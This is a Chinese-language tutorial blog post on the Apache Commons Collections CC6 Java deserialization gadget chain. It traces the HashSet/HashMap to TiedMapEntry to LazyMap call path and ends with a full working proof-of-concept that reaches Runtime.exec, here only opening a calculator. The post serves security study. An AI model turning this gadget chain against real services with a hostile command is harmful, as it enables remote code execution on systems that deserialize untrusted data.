环境
这次感觉CC6就等于CC1的lazyMap➕URLDNS,里面也有一些要注意的地方
链条结构
直接看yso给出来的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()
 java.util.HashMap.put()
 java.util.HashMap.hash()
 org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
 org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()
 org.apache.commons.collections.functors.ChainedTransformer.transform()
 org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
 
 | 
可以看到后半段其实很CC1的LazyMap是一样的,调用到get(),这次不同的是没有用memberValues.entrySet()去调用,而是找到TiedMapEntry.getValue()

再进一步跟进,TiedMapEntry.hashCode()里面出现了getValue,巧了,前面URLDNS也用到了hashCode

所以我们拼接一些就是
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | java.util.HashSet.readObject()->HashMap.put()
 -> HashMap.hash(key)
 -> key.hashCode()
 -> TiedMapEntry.hashCode()
 -> TiedMapEntry.getValue()
 -> LazyMap.get()
 ...
 transform()
 
 | 
思路还是非常清晰的
Poc构成
一步一步来,先尝试直接调用TiedMapEntry
首先ChainedTransformer和LazyMap是不变的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | package com;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.*;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 
 public class cc6_test {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key");
 tiedMapEntry.getValue();
 }
 }
 
 | 
直接调用执行getValue可以弹出计算机
再回退一步,这次我们直接用put去调用,在前面的代码后面这样改
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | HashMap<Object, Object> hashMap = new HashMap<>();Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key");
 HashMap<Object, Object> expMap = new HashMap<>();
 expMap.put(tiedMapEntry,"key");
 
 serialize(expMap);
 unserialize("ser.bin");
 
 | 
但是我们在调试后发现,在put()的时候就已经会弹计算机
这是因为expMap是HashMap型的,他自己在put的时候就会进入我们上文说过的链条,此时顺着下去decorateMap里面的内容就会被触发
| 1
 | HashMap.put()-> HashMap.hash(key)-> key.hashCode()-> TiedMapEntry.hashCode()-> TiedMapEntry.getValue()->LazyMap.get()
 | 
所以我们要控制put的时候里面的东西和我们那一串chainedTransformer无关,然后后面put完再改回来,保证只在反序列化的时候起作用。
同时,因为触发LazyMap里面transform()的主要影响属性是factory,它的作用域是protected,所以后面需要反射调用

还有一点就是LazyMap.get()里面进入transform()之后回再put一次,让key有值,后面反序列化再进入的时候会影响到if判断,所以我们在put之后需要把那个key给移走

为了搞懂这个,我加了一些调试语句
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 |     public Object get(Object key) {System.out.println("进入if前 map " + map );
 System.out.println("进入if前 key " + key);
 System.out.println("进入if前 " + map.containsKey(key));
 
 if (map.containsKey(key) == false) {
 Object value = factory.transform(key);
 map.put(key, value);
 System.out.println("进入if后 map " + map );
 System.out.println("进入if后 key " + key);
 System.out.println("进入if后 " + map.containsKey(key));
 return value;
 }
 return map.get(key);
 }
 
 | 
结果会打印
| 12
 3
 4
 5
 6
 
 | 进入if前 map {}进入if前 key aaa
 进入if前 false
 进入if后 map {aaa=1}
 进入if后 key aaa
 进入if后 true
 
 | 
所以我们需要在put后搞一个remove
| 12
 3
 4
 5
 
 | System.out.println("1 " + decorateMap.containsKey("TiedKey"));expMap.put(tiedMapEntry,"aaa");
 System.out.println("2 " + decorateMap.containsKey("TiedKey"));
 decorateMap.remove("TiedKey");
 System.out.println("3 " + decorateMap.containsKey("TiedKey"));
 
 | 
结果打印
综合上面这么多内容,最后的poc
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 
 | package com;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.*;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 
 public class cc6_test {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
 
 HashMap<Object, Object> hashMap = new HashMap<Object,Object>();
 Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
 
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa");
 HashMap<Object, Object> expMap = new HashMap<>();
 expMap.put(tiedMapEntry,"bbb");
 decorateMap.remove("aaa");
 
 
 Class c = LazyMap.class;
 Field factoryField = c.getDeclaredField("factory");
 factoryField.setAccessible(true);
 factoryField.set(decorateMap,chainedTransformer);
 
 serialize(expMap);
 unserialize("ser.bin");
 }
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
 }
 
 | 
参考
感谢各位前辈的分享
b站:白日梦组长
https://drun1baby.top/2022/06/11/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8703-CC6%E9%93%BE
https://www.cnblogs.com/CVE-Lemon/p/17935937.html